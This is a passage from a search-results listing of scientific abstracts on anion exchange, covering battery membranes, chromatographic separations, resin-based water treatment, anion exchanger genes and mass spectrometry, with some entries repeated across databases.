Z. J. 2015-11-14 In this paper, we report on the performance of Diels Alder poly(phenylene) membranes in vanadium redox flow batteries. The membranes were functionalized with quaternary ammonium groups to form an anion exchange membrane (QDAPP) and with sulfonic acid groups to form a cation exchange membrane (SDAPP). Both membrane classes showed similar conductivities in the battery environment, suggesting that the ion conduction mechanism in the material is not strongly affected by the moieties along the polymer backbone. The resistance to vanadium permeation in QDAPP was not improved relative to SDAPP, further suggesting that the polarity of the functional groups do not play a significant role in the membrane materials tested. Both QDAPP and SDAPP outperformed Nafion membranes in cycling tests, with both achieving voltage efficiencies above 85% while maintaining 95% coulombic efficiency while at a current density of 200 mA/cm2. 3. Full cell study of Diels Alder poly(phenylene) anion and cation exchange membranes in vanadium redox flow batteries DOE PAGES Pezeshki, Alan M.; Fujimoto, Cy; Sun, Che -Nan; ... 2015-11-14 In this paper, we report on the performance of Diels Alder poly(phenylene) membranes in vanadium redox flow batteries. The membranes were functionalized with quaternary ammonium groups to form an anion exchange membrane (QDAPP) and with sulfonic acid groups to form a cation exchange membrane (SDAPP). Both membrane classes showed similar conductivities in the battery environment, suggesting that the ion conduction mechanism in the material is not strongly affected by the moieties along the polymer backbone. The resistance to vanadium permeation in QDAPP was not improved relative to SDAPP, further suggesting that the polarity of the functional groups do not playmore » a significant role in the membrane materials tested. Both QDAPP and SDAPP outperformed Nafion membranes in cycling tests, with both achieving voltage efficiencies above 85% while maintaining 95% coulombic efficiency while at a current density of 200 mA/cm2.« less 4. Facile modification of multi-walled carbon nanotubes-polymeric ionic liquids-coated solid-phase microextraction fibers by on-fiber anion exchange. PubMed Feng, Juanjuan; Sun, Min; Bu, Yanan; Luo, Chuannan 2015-05-08 In situ anion exchange has been proved to be an efficient method for facile modification of polymeric ionic liquids (PILs)-based stationary phases. In this work, an on-fiber anion exchange process was utilized to tune the extraction performance of a multi-walled carbon nanotubes (MWCNTs)-poly(1-vinyl-3-octylimidazolium bromide) (poly(VOIm(+)Br(-)))-coated solid-phase microextraction (SPME) fiber. MWCNTs were first coated onto the stainless steel wire through a layer-by-layer fabrication method and then the PILs were coated onto the MWCNTs physically. Anion of the MWCNTs-poly(VOIm(+)Br(-)) fiber was changed into bis(triflroromethanesulfonyl)imide (NTf2(-)) and 2-naphthalene-sulfonate (NapSO3(-)) by on-fiber anion exchange. Coupled to gas chromatography, the MWCNTs-poly(VOIm(+)Br(-)) fiber showed acceptable extraction efficiency for hydrophilic and hydrogen-bonding-donating alcohols, with limits of detection (LODs) in the range of 0.005-0.05μgmL(-1); after the anion exchange with NTf2(-), the obtained MWCNTs-poly(VOIm(+)NTf2(-)) fiber brought wide linear ranges for hydrophobic n-alkanes with correlation coefficient (R) ranging from 0.994 to 0.997; aromatic property of the fiber was enhanced by aromatic NapSO3(-) anions to get sufficient extraction capacity for phthalate esters and halogenated aromatic hydrocarbons. The MWCNTs-poly(VOIm(+)NapSO3(-)) fiber was finally applied to determine several halogenated aromatic hydrocarbons in groundwater of industrial park. 5. Potential of chiral anion-exchangers operated in various subcritical fluid chromatography modes for resolution of chiral acids. PubMed Pell, Reinhard; Lindner, Wolfgang 2012-07-06 Anion-exchange-type chiral stationary phases (CSPs) derived from quinine or quinidine were applied in subcritical fluid chromatography (SFC) for the direct separation of chiral acidic compounds. Employing subcritical (sc) mobile phase modes (CO₂ + methanol as co-solvent and acids and bases as additives) first the influence of type and amount of acidic and basic additives on separation performance was investigated. Secondly, water was tested as a neutral additive and the influence of temperature variation on enantioselectivity was studied. Thirdly, we could chromatographically confirm that the often verbalized "inherent acidity" of sc CO₂ + methanol is manifested by the in situ formation of methylcarbonic acids in the sc mobile phase and thus functioning as acidic additive. Accordingly the dissociated methylcarbonic acid, acting as a counterion, enables an anion exchange mechanism between the cationic CSP and the corresponding acidic analyte. In the absence of a dissociable acid in the mobile phase such an ion exchange mode would not work following a stoichiometric displacement model. This finding is further corroborated by the use of ammonia in methanol as co-solvent thus generating in situ the ammonium salt of methylcarbonic acid. In summary, we report on ion-exchange mediated chromatographic separations in SFC modes by merely using (i) sc CO₂ and MeOH, (ii) sc CO₂ and ammonia in MeOH, and (iii) sc CO₂ and MeOH plus acids and bases as additives. Comparisons to HPLC mode have been undertaken to evaluate merits and limitations. This mode exhibits high potential for preparative chromatography of chiral acids combining pronounced enantioselectivity with high column loadability and avoiding possibly troublesome mobile phase additives, as the in situ formed methylcarbonic acid disintegrates to CO₂ and methanol upon pressure release. 6. Determination of mercurial species in fish by inductively coupled plasma mass spectrometry with anion exchange chromatographic separation. PubMed Chen, Xiaopan; Han, Chao; Cheng, Heyong; Liu, Jinhua; Xu, Zigang; Yin, Xuefeng 2013-09-24 This work demonstrated the feasibility of mercury speciation analysis by anion exchange chromatographic separation with inductively coupled plasma mass spectrometry detection. For the first time, by complexing with the mobile phase containing 3-mercapto-1-propanesulfonate into negatively charged complexes, fast separation of inorganic mercury (Hg(2+)), monomethylmercury (MeHg), ethylmercury (EtHg) and phenylmercury (PhHg) was achieved within 5 min on a 12.5-mm strong anion exchange column. The detection limits for Hg(2+), MeHg, EtHg and PhHg were 0.008, 0.024, 0.029 and 0.034 μg L(-1), respectively. The relative standard deviations of peak height and peak area (5.0 μg L(-1) for each Hg species) were all below 3%. The determined contents of Hg(2+), MeHg and total Hg in a certified reference material of fish tissue by the proposed method were in good accordance with the certified values with satisfactory recoveries. The relative errors for determining MeHg and total mercury were -2.4% and -1.2%, respectively, with an acceptable range for spike recoveries of 94-101%. Mercury speciation in 11 fish samples were then analyzed after the pretreated procedure. The mercury contents in all fish samples analyzed were found compliant with the criteria of the National Standards of China. 7. [Purification of immunoglobulin and serum albumin from serum via strong anion exchange chromatography coupled with molecular exclusion chromatography]. PubMed Qin, Zonghua; Chen, Ting; Li, Renqiang 2012-08-01 The isoelectric points of immunoglobulin (Ig) and serum albumin (SA) in animal serum are about 7.8 and 4.8, respectively. Based on their larger difference of isoelectric points, Q Sepharose-XL strong anion exchange chromatography coupled with molecular exclusion chromatography was used to purify Ig and SA simultaneously from the high immune rabbit serum. After the Q Sepharose-XL strong anion exchange column was equilibrated with 0.02 mol/L Tris-HCl buffer of pH 8.0, a 10-fold dilution sample of rabbit serum was loaded onto the column and the pH gradient elution was performed. With the low flow rate of elution of 0.3 mL/min, the high-purity Ig was obtained when the elution pH was at 6.0. Continuously eluted at pH 4.0 with the same flow rate of elution, the SA was obtained and its purity was greater than 95% after molecular exclusion chromatography through Sephadex G-75. The purified Ig and SA were demonstrated to maintain normal activities by activity analysis. The results of protein content showed that the purification recoveries of Ig and SA were over 95% and 90%, respectively. The method has the advantages of simple operation and rapidity, and the Ig and SA purified simultaneously from the animal serum could maintain normal activities. 8. Effects of substituents and substitution positions on alkaline stability of imidazolium cations and their corresponding anion-exchange membranes. PubMed Si, Zhihong; Qiu, Lihua; Dong, Huilong; Gu, Fenglou; Li, Youyong; Yan, Feng 2014-03-26 Imidazolium cations with butyl groups at various substitution positions (N1-, C2-, and N3-), 1-butyl-2,3-dimethylimidazolium ([N1-BDMIm](+)), 2-butyl-1,3-dimethylimidazolium ([C2-BDMIm](+)), and 3-butyl-1,2-dimethylimidazolium ([N3-BDMIm](+)), were synthesized. Quantitative (1)H NMR spectra and density functional theory calculation were applied to investigate the chemical stability of the imidazolium cations in alkaline solutions. The results suggested that the alkaline stability of the imidazolium cations was drastically affected by the C2-substitution groups. The alkaline stability of imidazolium cations with various substitution groups at the C2-position, including 2-ethyl-1-butyl-3-methylimidazolium ([C2-EBMIm](+)), 1,2-dibutyl-3-methylimidazolium ([C2-BBMIm](+)), and 2-hydroxymethyl-1-butyl-3-methylimidazolium ([C2-HMBMIm](+)), was further studied. The butyl group substituted imidazolium cation ([C2-BBMIm](+)) exhibited the highest alkaline stability at the elevated temperatures. The synthesized anion-exchange membranes based on the [C2-BBMIm](+) cation showed promising alkaline stability. These observations should pave the way to the practical application of imidazolium-based anion exchange membrane fuel cells. 9. Feasibility and kinetics study on the direct bio-regeneration of perchlorate laden anion-exchange resin. PubMed Wang, Chao; Lippincott, Lee; Meng, Xiaoguang 2008-11-01 Anion exchange is one of the most promising treatment technologies for the removal of low levels of perchlorate. The spent anion-exchange resins, however, need to be disposed of or regenerated because they contain high contents of perchlorate. This study investigated the feasibility and kinetics of a direct bio-regeneration method. The method accomplished resin regeneration and biological perchlorate destruction concurrently, by directly contacting the spent resin with the perchlorate-reducing bacteria (PRB). The results indicated that the method was effective in regeneration of perchlorate and nitrate loaded resin and the resin could be repeatedly regenerated with the method. The regenerated resin was effective, stable, and durable in the filtration treatment of perchlorate in well water from the Saddle River area, NJ. Moreover, the method was also effective in regeneration of the spent A-530E resin, which had high perchlorate affinity and was yet very difficult for regeneration with the conventional brine desorption technique. Besides, the results further suggested that the perchlorate and nitrate desorption from the loaded resin coupling with their subsequent biological reduction could be the direct bio-regeneration mechanism. No biofilm was formed on the regenerated resin surface according to a scanning electron microscopy (SEM) analysis. 10. Speciation of trace elements in human serum by micro anion exchange chromatography coupled with inductively coupled plasma mass spectrometry. PubMed Malavolta, Marco; Piacenza, Francesco; Basso, Andrea; Giacconi, Robertina; Costarelli, Laura; Pierpaoli, Sara; Mocchegiani, Eugenio 2012-02-01 Speciation analysis of essential trace elements in human serum provides important information on nutritional status and homeostatic mechanisms regulating transport processes, acute phase reactions, and protection against oxidative damage. Anion exchange high-performance liquid chromatography (HPLC) combined with inductively coupled plasma mass spectrometry (ICP-MS) has proved to be a useful tool in speciation. Here we describe a fast method that can be applied to carry out the speciation of Fe, Cu, Zn, and Se in as little as 1 microl [corrected] of serum. The method employs monolithic anion exchange micro columns installed on a tandem HPLC system coupled on-line with an ICP-MS detector. The chromatographic separation is similar to those reported previously but with considerable gain in terms of time and sample requirement. Reproducibility is acceptable for most species. Using our method, we were able to find species-specific differences between different commercially available trace element reference materials. Because the method chosen to collect blood might interfere with speciation, the proposed methodology was used to compare heparinized plasma, ethylenediaminetetraacetic acid (EDTA) plasma, and serum from adult healthy volunteers. As expected, EDTA strongly affects speciation analysis (especially for Fe and Zn), whereas changes due to the use of lithium-heparin (Li-He) as anticoagulant appear to be minimized. 11. Boric acid increases the expression levels of human anion exchanger genes SLC4A2 and SLC4A3. PubMed Akbas, F; Aydin, Z 2012-04-03 Boron is an important micronutrient in plants and animals. The role of boron in living systems includes coordinated regulation of gene expression, growth and proliferation of higher plants and animals. There are several well-defined genes associated with boron transportation and tolerance in plants and these genes show close homology with human anion exchanger genes. Mutation of these genes also characterizes some genetic disorders. We investigated the toxic effects of boric acid on HEK293 cells and mRNA expression of anion exchanger (SLC4A1, SLC4A2 and SLC4A3) genes. Cytotoxicity of boric acid at different concentrations was tested by using the methylthiazolyldiphenyl-tetrazolium bromide assay. Gene expression profiles were examined using quantitative real-time PCR. In the HEK293 cells, the nontoxic upper concentration of boric acid was 250 μM; more than 500 μM caused cytotoxicity. The 250 μM boric acid concentration increased gene expression level of SLC4A2 up to 8.6-fold and SLC4A3 up to 2.6-fold, after 36-h incubation. There was no significant effect of boric acid on SLC4A1 mRNA expression levels. 12. Adsorptive removal of emerging polyfluoroalky substances F-53B and PFOS by anion-exchange resin: A comparative study. PubMed Gao, Yanxin; Deng, Shubo; Du, Ziwen; Liu, Kai; Yu, Gang 2017-02-05 Chrome plating is an important emission source of perfluorinated compounds (PFCs) industrial uses in China, where two commercial products potassium 2-(6-chloro-1,1,2,2,3,3,4,4,5,5,6,6-dodecafluorohexyloxy) (F-53B) and perfluorooctane sulfonate (PFOS) are applied as mist suppressant, causing non-negligible environmental risk. In this paper, anion-exchange resin IRA67 was evaluated for F-53B and PFOS removal from simulated and actual wastewater. Adsorption kinetics exhibited higher adsorption velocity and capacity of IRA67 for PFOS than F-53B due to their difference in molecular structures. Adsorption isotherms demonstrated the adsorption capacity of F-53B and PFOS on IRA67 was 4.2mmol/g and 5.5mmol/g, respectively. Because of the deprotonating of amine groups, solution pH had significant effect on IRA67 at pH>10. The results indicated that besides anion exchange other interactions including hydrophobic interaction and the formation of micelles or hemi-micelles were all involved in adsorption process. Coexisting sulfate and chromate in wastewater decreased adsorption capacities of F-53B and PFOS. The spent resin could be regenerated by the NaCl/NaOH and methanol mixed solution. In the mixed system and actual wastewater IRA67 can simultaneously remove F-53B and PFOS without obvious preference but the removal percent can be affected by competitive effect. 13. Determination of light rare earth elements in apatite by x-ray fluorescence spectrometry after anion exchange extraction SciTech Connect Roelandts, I. 1981-04-01 The results of an investigation, the purpose of which was to study the feasibility of analysis of La, Ce, Pr, and Nd in apatite minerals, utilizing x-ray fluorescence spectrometry (XRF), are discussed. After sample dissolution in HNO/sub 3/, rare-earth elements (REEs) are separated by a mixed solvent anion exchange using the batch extraction technique. The anion exchanger employed is the strongly basic resin Dowex 1X8, 100 to 200 mesh (nitrate form). REEs are fixed on the resin from a medium consisting of 95% CH/sub 3/OH-5% 7 M HNO/sub 3/ (v/v). The dried resin is uniformly spread over a disk of self-adhesive foil backed with a cellulose support. The thin resin film formed is then used for XRF analysis. Synthetic standards prepared following the same procedure are employed for calibration. Analytical results of two apatite samples are presented. Good correlation is obtained between XRF and neutron activation analysis data. Limits of detection, precision, and accuracy of the results are discussed. 14. Determination of propofol glucuronide from hair sample by using mixed mode anion exchange cartridge and liquid chromatography tandem mass spectrometry. PubMed Kwak, Jae-Hwan; Kim, Hye Kyung; Choe, Sanggil; In, Sangwhan; Pyo, Jae Sung 2016-03-15 The main objective of this study was to develop and validate a simpler and less time consuming analytical method for determination of propofol glucuronide from hair sample, by using mixed mode anion exchange cartridge and liquid chromatography-tandem mass spectrometry (LC-MS/MS). The study uses propofol glucuronide, a major metabolite of propofol, as a marker for propofol abuse. The hair sample was digested in sodium hydroxide solution and loaded in mixed-mode anion cartridge for solid phase extraction. Water and ethyl acetate were used as washing solvents to remove interfering substances from the hair sample. Consequently, 2% formic acid in ethyl acetate was employed to elute propofol glucuronide from the sorbent of mixed-mode anion cartridge, and analyzed by LC-MS/MS. The method validation parameters such as selectivity, specificity, LOD, LLOQ, accuracy, precision, recovery, and matrix effect were also tested. The linearity of calibration curves showed good correlation, with correlation coefficient 0.998. The LOD and LLOQ of the propofol glucuronide were 0.2 pg/mg and 0.5 pg/mg, respectively. The intra and inter-day precision and accuracy were acceptable within 15%. The mean values of recovery and matrix effect were in the range of 91.7-98.7% and 87.5-90.3%, respectively, signifying that the sample preparation, washing and extraction procedure were efficient, and there was low significant hair matrix effect for the extraction of propofol glucuronide from hair sample on the mixed mode anion cartridge. To evaluate the suitability of method, the hair of propofol administered rat was successfully analyzed with this method. 15. Stable and selective scintillating anion-exchange sensors for quantification of 99TcO4- in natural freshwaters. PubMed Seliman, Ayman F; Helariutta, Kerttuli; Wiktorowicz, Szymon J; Tenhu, Heikki; Harjula, Risto 2013-12-01 New dual functionality scintillating anion-exchange resins were developed for selective determination of (99)TcO4(-) in various natural freshwater samples. Stable scintillating particles were formed by preparing the vinyl monomer 2-[4-(4'-vinylbiphenylyl)]-5-(4-tert-butylphenyl)-1,3,4-oxadiazole (vPBD), starting with the commercial organic flour TBut-PBD and its subsequent copolymerization with styrene, divinylbenzene, and p-chloromethylstyrene mixture. To integrate the radiochemical separation and radiometric detection steps within the same bead, the chloromethyl groups of the scintillating resins were subjected to amination reactions with dioctylamine (DOA) and trioctylamine (TOA). On-line quantification of (99)TcO4(-) was achieved by packing the scintillating anion-exchange resin into Teflon tubing for quantification by a flow scintillation analyzer (FSA). The two functionalized resins were selective for pertechnetate over the common anions in natural freshwaters, especially Cl(-) and SO4(2-) with up to 1000 ppm and with up to 10 ppm I(-) and Cr2O7(2-). The uptake efficiency of the TOA sensor decreased from 97.88% to 85.08% in well water and river water, respectively, while the counting efficiency was almost constant (69.50%). The DOA performance showed lower efficiency in the two water types relative to TOA. On the other hand, the DOA sensor could be regenerated by 5 M HNO3 for reuse at least four times without losing its chemical or optical performance. The detection limit was 1.45 Bq which could be achieved by loading 45 mL from well and tap water containing the maximum contaminant level (MCL) of (99)Tc (33 Bq/L). 16. Catalytic activity for decomposition of hydrogen peroxide by metal complexes of water-soluble thiacalix[4]arenetetrasulfonate on the modified anion-exchangers. PubMed Odo, Junichi; Yamaguchi, Hanae; Ohsaki, Hirotaka; Ohmura, Noriyoshi 2004-02-01 The catalytic activity for the decomposition of hydrogen peroxide by anion-exchangers modified with metal complexes of thiacalix[4]arenetetrasulfonate (Me(n+)-TCAS[4], Me(n+)=Mn(3+), Mn(2+), Fe(3+), Co(3+), Co(2+), Cu(2+), Zn(2+) and Ni(2+)) was investigated. As a reference, calix[4]arenetetrasulfonate, calix[6]arenehexasulfonate and calix[8]areneoctasulfonate were also examined. Mn(3+)- and Fe(3+)-TCAS[4] on the modified anion-exchangers showed high catalytic activity in alkaline buffer solutions among metal complexes tested. Mn(3+)- and Fe(3+)-TCAS[4] on the modified anion-exchangers exhibited high and constant levels of catalytic activity even after having been used 5 times, and showed catalytic activity in the presence of an excess of H(2)O(2) over Mn(3+)- and Fe(3+)-TCAS[4] on the modified anion-exchangers. Only Mn(3+)-TCAS[4] on the modified anion-exchangers exhibited high catalytic activity at around a neutral pH. 17. Do TFSA anions slither? Pressure exposes the role of TFSA conformational exchange in self-diffusion SciTech Connect Suarez, Sophia N.; Wishart, James F.; Rua, Armando; Cuffari, David; Pilar, Kartik; Hatcher, Jasmine L.; Ramati, Sharon 2015-10-28 Multi-nuclear (1H, 2H, and 19F) magnetic resonance spectroscopy techniques as functions of temperature and pressure were applied to the study of selectively deuterated 1-ethyl-3-methylimidazolium bis(trifluoromethylsulfonyl)amide (EMIM TFSA) ionic liquid isotopologues and related ionic liquids. For EMIM TFSA, temperature-dependent 2H T1 data indicate stronger electric field gradients in the alkyl chain region compared to the imidazolium ring. Most significantly, the pressure dependences of the EMIM and TFSA self-diffusion coefficients revealed that the displacements of the cations and anions are independent, with diffusion of the TFSA anions being slowed much more by increasing pressure than for the EMIM cations, as shown by their respective activation volumes (28.8 ± 2.5 cm³/mol for TFSA vs. 14.6 ± 1.3 cm³/mol for EMIM). Increasing pressure may lower the mobility of the TFSA anion by hindering its interconversion between trans and cis conformers, a process that is coupled to diffusion according to published molecular dynamics simulations. Measured activation volumes (ΔV) for ion self-diffusion in EMIM bis(fluoromethylsulfonyl)amide and EMIM tetrafluoroborate support this hypothesis. 18. Do TFSA anions slither? Pressure exposes the role of TFSA conformational exchange in self-diffusion DOE PAGES Suarez, Sophia N.; Wishart, James F.; Rua, Armando; ... 2015-10-28 Multi-nuclear (1H, 2H, and 19F) magnetic resonance spectroscopy techniques as functions of temperature and pressure were applied to the study of selectively deuterated 1-ethyl-3-methylimidazolium bis(trifluoromethylsulfonyl)amide (EMIM TFSA) ionic liquid isotopologues and related ionic liquids. For EMIM TFSA, temperature-dependent 2H T1 data indicate stronger electric field gradients in the alkyl chain region compared to the imidazolium ring. Most significantly, the pressure dependences of the EMIM and TFSA self-diffusion coefficients revealed that the displacements of the cations and anions are independent, with diffusion of the TFSA anions being slowed much more by increasing pressure than for the EMIM cations, as shown bymore » their respective activation volumes (28.8 ± 2.5 cm³/mol for TFSA vs. 14.6 ± 1.3 cm³/mol for EMIM). Increasing pressure may lower the mobility of the TFSA anion by hindering its interconversion between trans and cis conformers, a process that is coupled to diffusion according to published molecular dynamics simulations. Measured activation volumes (ΔV‡) for ion self-diffusion in EMIM bis(fluoromethylsulfonyl)amide and EMIM tetrafluoroborate support this hypothesis.« less 19. Preparation of high-capacity, weak anion-exchange membranes by surface-initiated atom transfer radical polymerization of poly(glycidyl methacrylate) and subsequent derivatization with diethylamine Qian, Xiaolei; Fan, Hua; Wang, Chaozhan; Wei, Yinmao 2013-04-01 Ion-exchange membrane is of importance for the development of membrane chromatography. In this work, a high-capacity anion-exchange membrane was prepared by grafting of glycidyl methacrylate (GMA) onto the surface of regenerated cellulose (RC) membranes via surface-initiated atom transfer radical polymerization (SI-ATRP) and subsequent derivatization with diethylamine. Attenuated total reflectance Fourier-transform infrared (ATR-FTIR), X-ray photoelectron spectroscopy (XPS) and scanning electron microscopy (SEM) were used to characterize changes in the chemical functionality, surface topography and pore morphology of the modified membranes. The static capacity of the prepared anion-exchange membrane was evaluated with bovine serum albumin (BSA) as a model protein. The results indicated that the anion-exchange membrane which could reach a maximum capacity of 96 mg/mL for static adsorption possesses a higher adsorption capacity, and the adsorption capacity increases with the polymerization time. The effect of pH and salt concentration confirmed that the adsorption of BSA followed ion-exchange mechanism. The established method would have potential application in the preparation of anion-exchange membrane. 20. Effect of long-term organic removal on ion exchange properties and performance during sewage tertiary treatment by conventional anion exchange resins. PubMed Sun, Jian; Li, Xiaofeng; Quan, Ying; Yin, Yunjun; Zheng, Shaokui 2015-10-01 This study evaluated the long-term dissolved organic matter (DOM), phosphorus and nitrogen removal performance of a commercially available conventional anion exchange resin (AER) from actual secondary effluent (SE) in a sewage treatment plant based on a pilot-scale operation (2.2 m(3) d(-1), 185 cycles, 37,000 bed volume, 1.5 years). Particular emphasis was given to the potential effect of DOM fouling on the ion exchange properties and performance during the long-term operation. Despite the large range of COD (15.6-33.5 mg L(-1)), BOD5 (3.0-5.6 mg L(-1)), DOC (6.5-24.2 mg L(-1)), and UV254 (UV absorption at 254 nm) (0.108-0.229 cm(-1)) levels in the SE, the removal efficiencies of the AER for the aforementioned parameters were 43±12%, 46±15%, 45±9%, and 72±4%, respectively. Based on three-dimensional fluorescence excitation-emission matrix data, i.e., the fluorescence intensities of four regions (peaks A-D), all organic components of the SE were effectively removed (peak A 74%, peak B 48%, peak C 55%, and peak D 45%) following the adsorption. The AER effluent still has considerable polycyclic aromatic hydrocarbons' ecological hazard on freshwater fishes when they were significantly removed from SE. The obvious DOM fouling on the AER, identified by color change, had no significant influence on the long-term removal of the representative inorganic anions (averaging 95±4% phosphate, 100±0% SO4(2-), and 62±17% NO3(-)) and AER properties (including total exchange capacity, moisture content, and true density). The conventional AER can produce high quality reclaimed water from SE at a low operational cost. 1. Selective colorimetric determination of TNT partitioned between an alkaline solution and a strongly basic Dowex 1-X8 anion exchanger. PubMed Uzer, Ayşem; Erçağ, Erol; Apak, Reşat 2008-01-30 The Meisenheimer anions formed from TNT in KOH solutions in alcohol or acetone were used in screening tests for TNT among possible nitro-explosives. The same reaction was used for the spectrophotometric assay of TNT in soil by CRREL (Cold Regions Research & Engineering Laboratory of the U.S. Army) method, also known as Jenkins' method, but the color stability was too dependent on the solution composition and the water tolerance was low, necessitating complete drying of soil samples (which may cause partial analyte decomposition) prior to analysis. This study reports the development of a colorimetric method based on the solid phase extraction (SPE) of the Meisenheimer anion formed from TNT and aqueous NaOH into a strongly basic anion exchange resin Dowex 1-X8 (OH(-) form). The orange-red color that developed both in the solid resin and solution phases was persistent for at least 1h. The resin was let to swell in alcohol, washed first with 1M aqueous NaOH, and then with H(2)O before use. To 5 mL of 4-400 ppm TNT solutions in 1:1 (v/v) acetone-water, 0.5 mL of 5% NaOH was added, diluted to 50 mL with 1:1 acetone-water, and the resulting solutions (containing the orange-red Meisenheimer anion of TNT) were agitated at room temperature with 0.9 g resin for < or =50 min. TNT exhibited a reasonably constant distribution coefficient between the resin and aqueous phases. The absorbance of the filtered solutions was measured against a reagent blank at 500nm. The TNT-loaded resins were regenerated with 1M HCl containing sodium sulfite. The calibration line of filtrate absorbance versus analytical concentration was linear over two orders of magnitude between 0.4 and 40 ppm TNT in final solution. Unlike Jenkins' method, the method was tolerant to 100-fold (by mass) of common soil anions like sulfate, nitrate, and chloride. The basic advantages of the developed colorimetric method over the similar CRREL/Jenkins' method may be summarized as color stability, water and common ion 2. Ion Mobility Spectrometry-Hydrogen Deuterium Exchange Mass Spectrometry of Anions: Part 1. Peptides to Proteins Donohoe, Gregory C.; Khakinejad, Mahdiar; Valentine, Stephen J. 2015-04-01 Ion mobility spectrometry (IMS) coupled with hydrogen deuterium exchange (HDX)-mass spectrometry (MS) has been used to study the conformations of negatively-charged peptide and protein ions. Results are presented for ion conformers of angiotensin 1, a synthetic peptide (SP), bovine insulin, ubiquitin, and equine cytochrome c. In general, the SP ion conformers demonstrate a greater level of HDX efficiency as a greater proportion of the sites undergo HDX. Additionally, these ions exhibit the fastest rates of exchange. Comparatively, the angiotensin 1 ions exhibit a lower rate of exchange and HDX level presumably because of decreased accessibility of exchange sites by charge sites. The latter are likely confined to the peptide termini. Insulin ions show dramatically reduced HDX levels and exchange rates, which can be attributed to decreased conformational flexibility resulting from the disulfide bonds. For the larger ubiquitin and protein ions, increased HDX is observed for larger ions of higher charge state. For ubiquitin, a conformational transition from compact to more elongated species (from lower to higher charge states) is reflected by an increase in HDX levels. These results can be explained by a combination of interior site protection by compact conformers as well as decreased access by charge sites. The elongated cytochrome c ions provide the largest HDX levels where higher values correlate with charge state. These results are consistent with increased exchange site accessibility by additional charge sites. The data from these enhanced IMS-HDX experiments are described in terms of charge site location, conformer rigidity, and interior site protection. 3. Ion mobility spectrometry-hydrogen deuterium exchange mass spectrometry of anions: part 1. Peptides to proteins. PubMed Donohoe, Gregory C; Khakinejad, Mahdiar; Valentine, Stephen J 2015-04-01 Ion mobility spectrometry (IMS) coupled with hydrogen deuterium exchange (HDX)-mass spectrometry (MS) has been used to study the conformations of negatively-charged peptide and protein ions. Results are presented for ion conformers of angiotensin 1, a synthetic peptide (SP), bovine insulin, ubiquitin, and equine cytochrome c. In general, the SP ion conformers demonstrate a greater level of HDX efficiency as a greater proportion of the sites undergo HDX. Additionally, these ions exhibit the fastest rates of exchange. Comparatively, the angiotensin 1 ions exhibit a lower rate of exchange and HDX level presumably because of decreased accessibility of exchange sites by charge sites. The latter are likely confined to the peptide termini. Insulin ions show dramatically reduced HDX levels and exchange rates, which can be attributed to decreased conformational flexibility resulting from the disulfide bonds. For the larger ubiquitin and protein ions, increased HDX is observed for larger ions of higher charge state. For ubiquitin, a conformational transition from compact to more elongated species (from lower to higher charge states) is reflected by an increase in HDX levels. These results can be explained by a combination of interior site protection by compact conformers as well as decreased access by charge sites. The elongated cytochrome c ions provide the largest HDX levels where higher values correlate with charge state. These results are consistent with increased exchange site accessibility by additional charge sites. The data from these enhanced IMS-HDX experiments are described in terms of charge site location, conformer rigidity, and interior site protection. 4. Chiral anion exchangers applied to capillary electrochromatography enantioseparation of oppositely charged chiral analytes: investigation of stationary and mobile phase parameters. PubMed Lämmerhofer, M; Tobler, E; Lindner, W 2000-07-28 Weak anion-exchange (WAX) type chiral stationary phases (CSPs) based on tert.-butyl carbamoyl quinine as chiral selector (SO) and different types of silica particles (porous and non-porous) as chromatographic support are evaluated in packed capillary electrochromatography (CEC). Their ability to resolve the enantiomers of negatively charged chiral analytes, e.g., N-derivatized amino acids, in the anion-exchange mode and their electrochromatographic characteristics are described in dependence of several mobile phase parameters (pH, buffer type and concentration, organic modifier type and concentration) and other experimental variables (electric field strength, capillary temperature). The inherent "zwitterionic" surface character of such silica-based WAX type CSPs (positively charged SO and negatively charged residual silanols) allows the reversal of the electroosmotic flow (EOF) towards the anode at pH values below the isoelectric point (pI) of the modified surface, whereas a cathodic EOF results at pH values above the pI. Since for negatively charged analytes also an electrophoretic transport increment has to be considered, which can be either in or against the EOF direction, several distinct modes of elution have been observed under different stationary phase and mobile phase conditions: (i) co-electrophoretic elution of the negatively charged solutes with the anodic EOF in the negative polarity mode, (ii) counter-electrophoretic elution with the cathodic EOF in the positive polarity mode, and (iii) electrophoretically dominated elution in the negative polarity mode with a cathodic EOF directed to the injection end of the capillary. Useful enantioseparations of chiral acids have been obtained with all three modes. Enantioselectivity values as high as under pressure-driven conditions and theoretical plate numbers up to 120000 per meter could be achieved under electrically driven conditions. A repeatability study yielded RSD values below 2% for retention times and 5. Sulfate secretion and chloride absorption are mediated by the anion exchanger DRA (Slc26a3) in the mouse cecum. PubMed Whittamore, Jonathan M; Freel, Robert W; Hatch, Marguerite 2013-07-15 Inorganic sulfate (SO₄²⁻) is essential for a multitude of physiological processes. The specific molecular pathway has been identified for uptake from the small intestine but is virtually unknown for the large bowel, although there is evidence for absorption involving Na⁺-independent anion exchange. A leading candidate is the apical chloride/bicarbonate (Cl⁻/HCO₃⁻) exchanger DRA (down-regulated in adenoma; Slc26a3), primarily linked to the Cl⁻ transporting defect in congenital chloride diarrhea. The present study set out to characterize transepithelial ³⁵SO₄²⁻ and ³⁶Cl⁻ fluxes across the isolated, short-circuited cecum from wild-type (WT) and knockout (KO) mice and subsequently to define the contribution of DRA. The cecum demonstrated simultaneous net SO₄²⁻ secretion (-8.39 ± 0.88 nmol·cm⁻²·h⁻¹) and Cl⁻ absorption (10.85 ± 1.41 μmol·cm⁻²·h⁻¹). In DRA-KO mice, SO₄²⁻ secretion was reversed to net absorption via a 60% reduction in serosal to mucosal SO₄²⁻ flux. Similarly, net Cl⁻ absorption was abolished and replaced by secretion, indicating that DRA represents a major pathway for transcellular SO₄²⁻ secretion and Cl⁻ absorption. Further experiments including the application of DIDS (500 μM), bumetanide (100 μM), and substitutions of extracellular Cl⁻ or HCO₃⁻/CO₂ helped to identify specific ion dependencies and driving forces and suggested that additional anion exchangers were operating at both apical and basolateral membranes supporting SO₄²⁻ transport. In conclusion, DRA contributes to SO₄²⁻ secretion via DIDS-sensitive HCO₃⁻/SO₄²⁻ exchange, in addition to being the principal DIDS-resistant Cl⁻/HCO₃⁻ exchanger. With DRA linked to the pathogenesis of other gastrointestinal diseases extending its functional characterization offers a more complete picture of its role in the intestine. 6. Do TFSA Anions Slither? Pressure Exposes the Role of TFSA Conformational Exchange in Self-Diffusion. PubMed Suarez, Sophia N; Rúa, Armando; Cuffari, David; Pilar, Kartik; Hatcher, Jasmine L; Ramati, Sharon; Wishart, James F 2015-11-19 Multinuclear ((1)H, (2)H, and (19)F) magnetic resonance spectroscopy techniques as functions of temperature and pressure were applied to the study of 